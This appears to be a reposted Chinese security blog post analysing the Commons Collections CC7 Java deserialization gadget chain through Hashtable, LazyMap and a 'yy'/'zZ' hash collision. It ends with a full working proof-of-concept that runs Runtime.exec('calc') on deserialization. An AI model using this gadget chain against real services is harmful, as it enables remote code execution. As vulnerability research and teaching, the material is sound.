java反序列化CC7链
2023-4-9 19:10:39 Author: www.freebuf.com(查看原文) 阅读量:32 收藏

HashTable

JDK1.0引入,实现Map接口,用于存储K,V键值对的集合类。 主要特点:Key不可为空、多线程安全、无序。底层采用数组 + 链表 的结构。

HashTable基于Syn,线程安全。

利用链

Hashtable->readObject()
Hashtable->readObject()->reconstitutionPut()
Hashtable->readObject()->reconstitutionPut() 第一个key不重复则将元素添加到table数组中
Hashtable->readObject()->reconstitutionPut() key.hash冲突进入if语句
Hashtable->readObject()->reconstitutionPut()->e.lazyMap1.equals(lazyMap2)
Hashtable->readObject()->reconstitutionPut()->e.lazyMap1.equals(lazyMap2)
Hashtable->readObject()->reconstitutionPut()->e.lazyMap1.equals(lazyMap2)->map.equals(lazyMap2)
//此时map是hashMap
Hashtable->readObject()->reconstitutionPut()->e.lazyMap1.equals(lazyMap2)->map.equals(lazyMap2)-> AbstractMap->equals()
lazyMap2->get("yy")
lazyMap2->get("yy")->factory.transform(key)
lazyMap2->get("yy")->factory.transform(key)//factory 为被反射修改的ChainedTransformer  
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Hashtable序列化过程

private void writeObject(java.io.ObjectOutputStream s) throws IOException {
//临时变量(栈)
Entry<Object, Object> entryStack = null;

synchronized (this) {
s.defaultWriteObject();

//写入table的容量
s.writeInt(table.length);
//写入table的元素个数
s.writeInt(count);

//取出table中的元素,放入栈中(entryStack)
for (int index = 0; index < table.length; index++) {
Entry<?,?> entry = table[index];

while (entry != null) {
entryStack =
new Entry<>(0, entry.key, entry.value, entryStack);
entry = entry.next;
}
}
}

//依次写入栈中的每个元素
while (entryStack != null) {
s.writeObject(entryStack.key);
s.writeObject(entryStack.value);
entryStack = entryStack.next;
}
}

Hashtable有一个Entry<?,?>[]类型的table属性,并且还是一个数组,用于存放元素(键值对)。Hashtable在序列化时会先把table数组的容量写入到序列化流中,再写入table数组中的元素个数,然后将table数组中的元素取出写入到序列化流中。

Hashtable的反序列化流程

private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
// Read in the length, threshold, and loadfactor
s.defaultReadObject();

// 读取table数组的容量
int origlength = s.readInt();
//读取table数组的元素个数
int elements = s.readInt();

//计算table数组的length
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
//根据length创建table数组
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;

//反序列化,还原table数组
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
reconstitutionPut(table, key, value);
}
}

Hashtable会先从反序列化流中读取table数组的容量和元素个数,并根据origlength 和elements 计算出table数组的length,再根据计算得到的length来创建table数组(origlength 和elements可以决定table数组的大小),然后从反序列化流中依次读取每个元素,然后调用reconstitutionPut方法将元素重新放入table数组(Hashtable的table属性),最终完成反序列化。

reconstitutionPut方法是一个很重要的方法

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException {
//value不能为null
if (value == null) {
throw new java.io.StreamCorruptedException();
}

//重新计算key的hash值
int hash = key.hashCode();
//根据hash值计算存储索引
int index = (hash & 0x7FFFFFFF) % tab.length;
//判断元素的key是否重复
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
//如果key重复则抛出异常
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
//key不重复则将元素添加到table数组中
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

reconstitutionPut方法首先对value进行不为null的校验,否则抛出反序列化异常,然后根据key计算出元素在table数组中的存储索引,判断元素在table数组中是否重复,如果重复则抛出异常,如果不重复则将元素转换成Entry并添加到tabl数组中。

CC7利用链的漏洞触发的关键就在reconstitutionPut方法中,该方法在判断重复元素的时候校验了两个元素的hash值是否一样,然后接着key会调用equals方法判断key是否重复时就会触发漏洞。

需要注意的是,在添加第一个元素时并不会进入if语句调用equals方法进行判断,因此Hashtable中的元素至少为2个并且元素的hash值也必须相同的情况下才会调用equals方法,否则不会触发漏洞。

AbstractMapDecorator抽象类

这一步操作e.key.equals()调用了LazyMap的equals方法,但是LazyMap中并没有equals方法,实际上是调用了LazyMap的父类AbstractMapDecorator的equals方法,虽然AbstractMapDecorator是一个抽象类,但它实现了equals方法。

public boolean equals(Object object) {
//是否为同一对象(比较引用)
if (object == this) {
return true;
}
//调用HashMap的equals方法
return map.equals(object);
}

AbstractMapDecorator类的equals方法只比较了这两个key的引用,如果不是同一对象会再次调用equals方法,map属性是通过LazyMap传递的,我们在构造利用链的时候,通过LazyMap的静态方法decorate将HashMap传给了map属性,因此这里会调用HashMap的equals方法。

AbstractMap抽象类

我们在HashMap中并没有找到一个名字为equals的成员方法,但是通过分析发现HashMap继承了AbstractMap抽象类,该类中有一个equals方法

public boolean equals(Object o) {
//是否为同一对象
if (o == this)
return true;
//运行类型是否不是Map
if (!(o instanceof Map))
return false;
//向上转型
Map<?,?> m = (Map<?,?>) o;
//判断HashMap的元素的个数size
if (m.size() != size())
return false;
try {
//获取HashMap的迭代器
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
//获取每个元素(Node)
Entry<K,V> e = i.next();
//获取key和value
K key = e.getKey();
V value = e.getValue();
//如果value为null,则判断key
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
//如果value不为null,判断value内容是否相同
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

关于lazyMap2集合中的第二个元素(yy=yy)从何而来

在put的过程中有这么一步

int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
@SuppressWarnings("unchecked")
Entry<K,V> entry = (Entry<K,V>)tab[index];
for(; entry != null ; entry = entry.next) {
if ((entry.hash == hash) && entry.key.equals(key)) {
V old = entry.value;
entry.value = value;
return old;
}
}

调用 lazyMap 的equals方法,但是lazyMap没有 他继承的AbstractMapDecorator抽象类含有


public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}

当put第一个<k,v>时 return true

int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;

而当put 第二个<k,v>时 由于key.hashCode()相等

于是entry.key1.equals(key1) 变成了 entry.key1.equals(key2)

return map.equals(object);

我们构造的lazyMap方法Map 是hashMap,我们在HashMap中并没有找到一个名字为equals的成员方法,但是通过分析发现HashMap继承了AbstractMap抽象类,该类中有一个equals方法

public boolean equals(Object o) {
//是否为同一对象
if (o == this)
return true;
//运行类型是否不是Map
if (!(o instanceof Map))
return false;
//向上转型
Map<?,?> m = (Map<?,?>) o;
//判断HashMap的元素的个数size
if (m.size() != size())
return false;
try {
//获取HashMap的迭代器
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
//获取每个元素(Node)
Entry<K,V> e = i.next();
//获取key和value
K key = e.getKey();
V value = e.getValue();
//如果value为null,则判断key
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
//如果value不为null,判断value内容是否相同
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

三个 判断

  1. 判断是否为同一对象

  2. 判断对象的运行类型

  3. 判断Map中元素的个数

可以过去 向上转型

Map<?,?> m = (Map<?,?>) o;

后面执行else语句(这个我们可以控制) m.get() ,即使向上转型 m依旧是lazyMap 调用lazyMap 的get方法

public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

最后

当在反序列化时,reconstitutionPut方法在还原table数组时会调用equals方法判断重复元素,由于AbstractMap抽象类的equals方法校验的时候更为严格,会判断Map中元素的个数,由于lazyMap2和lazyMap1中的元素个数不一样则直接返回false,那么也就不会触发漏洞。

关于CC7利用链的两个元素hash值的分析

前面我们说过触发漏洞还有一个前提:两个元素的hash值必须相同。

AbstractMapDecorator抽象类

public int hashCode() {
return map.hashCode();
}

hashMap

public final int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value);
}

Object

public static int hashCode(Object o) {
return o != null ? o.hashCode() : 0;
}

o为String

实际上底层调用了字符串“yy”的包装类String的hashCode方法,hashCode方法通过字符的ascii码值计算得到一个3872的hash值。

  • yy:第一次y的ascii121,第二次31*121+121=3872

  • zZ:第一次z的ascii122,第二次31*122+90=3872

public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;

for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}

EXP

package CC7;



import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

/*
基于Hashtable的利用链
*/
public class CC7Test {

public static void main(String[] args) throws Exception {
//构造核心利用代码
final Transformer transformerChain = new ChainedTransformer(new Transformer[0]);
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc"}),
new ConstantTransformer(1)};


//使用Hashtable来构造利用链调用LazyMap
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
lazyMap2.remove("yy");
//输出两个元素的hash值
System.out.println("lazyMap1 hashcode:" + lazyMap1.hashCode());
System.out.println("lazyMap2 hashcode:" + lazyMap2.hashCode());


// iTransformers = transformers(反射)
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);

//序列化 --> 反序列化(hashtable)
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashtable);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}

参考(大部分)(123条消息) 12-java安全——java反序列化CC7链分析cc7反序列化songly_的博客-CSDN博客


文章来源: https://www.freebuf.com/vuls/363050.html
如有侵权请联系:admin#unsafe.sh